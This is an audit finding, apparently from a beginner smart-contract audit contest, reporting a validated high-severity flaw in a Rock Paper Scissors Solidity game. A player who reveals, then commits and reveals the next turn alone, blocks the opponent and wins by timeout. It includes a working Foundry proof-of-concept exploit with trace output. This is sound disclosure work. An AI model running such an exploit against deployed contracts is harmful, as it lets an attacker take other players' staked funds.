Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

RevealMove before Another Player CommitMove Makes Hacker Win All the Multi-Turns Games

Summary

A critical vulnerability exists in the Rock Paper Scissors game contract where a malicious player can manipulate the game flow to prevent the other player from committing their move. By revealing their move and immediately committing and revealing the next turn's move, the attacker can force the game into a state where the victim cannot commit their move, allowing the attacker to win through timeout.

Vulnerability Details

The vulnerability stems from the game's turn management mechanism. In the Rock Paper Scissors game, players take turns committing and revealing their moves. However, there's a flaw in the implementation that allows a player to manipulate the turn sequence:

  1. Player A creates a game and Player B joins

  2. Both players commit their moves for the first turn

  3. Player A reveals their move

  4. Player B reveals their move for the first turn

  5. Critical vulnerability: Player B can immediately commit and reveal their move for the second turn

  6. This prevents Player A from committing their move for the second turn

  7. Player B can then wait for the timeout and win the game

Overall, hacker can use this vulnerability to win the all games which has one more turns.

Impact

This vulnerability has severe consequences:

  1. Game Manipulation: A malicious player can always win the game by exploiting this vulnerability

  2. Funds Loss: The victim loses their entire bet amount

  3. Broken Game Mechanics: The core gameplay mechanics are completely broken

  4. No Fair Play: The game becomes unplayable as one player can always force a win

The POC demonstrates that Player B can win the game by forcing Player A to timeout, resulting in Player B receiving the entire prize pool minus fees.

POC

PoC in Foundry as follows:

contract RockPaperScissorsTest is Test {
// Contracts
RockPaperScissors public game;
WinningToken public token;
// Test accounts
address public admin;
address public playerA;
address public playerB;
// Test constants
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 3; // Must be odd
// Game ID for tests
uint256 public gameId;
// Setup before each test
function setUp() public {
// Set up addresses
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
// Fund the players
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
// Deploy contracts
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
// Mint some tokens for players for token tests
vm.prank(address(game));
token.mint(playerA, 10);
vm.prank(address(game));
token.mint(playerB, 10);
}
function test_RevealStopCommit() public {
// console the balance of playerA and playerB
console.log("playerA balance : ", playerA.balance);
console.log("playerB balance : ", playerB.balance);
// playerA creates a game
vm.startPrank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// playerB joins the game, commits move
vm.startPrank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// playe the first turn, no matter who wins
uint8 moveA = uint8(RockPaperScissors.Move.Rock);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A", gameId, moveA));
bytes32 commitA = keccak256(abi.encodePacked(moveA, saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
uint8 moveB = uint8(RockPaperScissors.Move.Scissors);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B", gameId, moveB));
bytes32 commitB = keccak256(abi.encodePacked(moveB, saltB));
// after playerB commits the move, the revealDeadline will be set
vm.prank(playerB);
game.commitMove(gameId, commitB);
// playerA reveals move
vm.prank(playerA);
game.revealMove(gameId, moveA, saltA);
// playerB reveal the first turn move, the revealDeadline will not be reset
// playerB commit the second turn move and reveal it to stop playerA from committing the second turn move
vm.startPrank(playerB);
game.revealMove(gameId, moveB, saltB);
game.commitMove(gameId, commitB);
game.revealMove(gameId, moveB, saltB);
vm.stopPrank();
// revert if playerA try to commit the second turn move
vm.expectRevert("Moves already committed for this turn");
vm.prank(playerA);
game.commitMove(gameId, commitA);
// warp to the end of the game
// playerB use the timeoutReveal to win the game
vm.warp(block.timestamp + TIMEOUT + 1);
vm.prank(playerB);
game.timeoutReveal(gameId);
// console the balance of playerA and playerB
console.log("playerA balance : ", playerA.balance);
console.log("playerB balance : ", playerB.balance);
}
}

run the script

forge test -vvvv --mt test_RevealStopCommit

the result as follows

Ran 1 test for test/RockPaperScissorsTest.t.sol:RockPaperScissorsTest
[PASS] test_RevealStopCommit() (gas: 409999)
Logs:
playerA balance : 10000000000000000000
playerB balance : 10000000000000000000
playerA balance : 9900000000000000000
playerB balance : 10080000000000000000
Traces:
[449799] RockPaperScissorsTest::test_RevealStopCommit()
├─ [0] console::log("playerA balance : ", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("playerB balance : ", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [184327] RockPaperScissors::createGameWithEth{value: 100000000000000000}(3, 600)
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [24920] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [47753] RockPaperScissors::commitMove(0, 0x2ce9e0c6cee52fff8defaf803e3d42570ca0a102e22ce2de7049458b2e57f4bd)
│ ├─ emit MoveCommitted(gameId: 0, player: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [46121] RockPaperScissors::commitMove(0, 0x7b08831159711362f5a87b19b96a739a4a19fa2a9e3a7d08ef41af38654afcfc)
│ ├─ emit MoveCommitted(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [4376] RockPaperScissors::revealMove(0, 1, 0xb744b7af2ebddcdb6fdac9e865330c27a0287b13a1c9d7fa8098cde1928d587c)
│ ├─ emit MoveRevealed(gameId: 0, player: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], move: 1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [8045] RockPaperScissors::revealMove(0, 3, 0x164a57e3806367da85c24dac993ec49eb101618bd5fc41d7fa82eed6af9fb27c)
│ ├─ emit MoveRevealed(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], move: 3, currentTurn: 1)
│ ├─ emit TurnCompleted(gameId: 0, winner: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], currentTurn: 1)
│ └─ ← [Return]
├─ [23585] RockPaperScissors::commitMove(0, 0x7b08831159711362f5a87b19b96a739a4a19fa2a9e3a7d08ef41af38654afcfc)
│ ├─ emit MoveCommitted(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], currentTurn: 2)
│ └─ ← [Return]
├─ [4361] RockPaperScissors::revealMove(0, 3, 0x164a57e3806367da85c24dac993ec49eb101618bd5fc41d7fa82eed6af9fb27c)
│ ├─ emit MoveRevealed(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], move: 3, currentTurn: 2)
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::expectRevert(Moves already committed for this turn)
│ └─ ← [Return]
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [1203] RockPaperScissors::commitMove(0, 0x2ce9e0c6cee52fff8defaf803e3d42570ca0a102e22ce2de7049458b2e57f4bd)
│ └─ ← [Revert] revert: Moves already committed for this turn
├─ [0] VM::warp(602)
│ └─ ← [Return]
├─ [0] VM::prank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [51867] RockPaperScissors::timeoutReveal(0)
│ ├─ emit FeeCollected(gameId: 0, feeAmount: 20000000000000000 [2e16])
│ ├─ [0] playerB::fallback{value: 180000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [14461] WinningToken::mint(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], 1)
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], value: 1)
│ │ └─ ← [Return]
│ ├─ emit GameFinished(gameId: 0, winner: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], prize: 180000000000000000 [1.8e17])
│ └─ ← [Return]
├─ [0] console::log("playerA balance : ", 9900000000000000000 [9.9e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("playerB balance : ", 10080000000000000000 [1.008e19]) [staticcall]
│ └─ ← [Stop]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.68ms (199.79µs CPU time)
Ran 1 test suite in 3.12s (1.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

  • Foundry

Recommendations

To fix this vulnerability, the contract should enforce proper turn sequencing:

  1. Add State Validation: Implement checks to ensure that a player cannot reveal their move for a turn until both players have committed their moves for that turn.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game State Manipulation Preventing Opponent Commit

Attack allows a player to reveal their move for the next turn before the opponent commits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.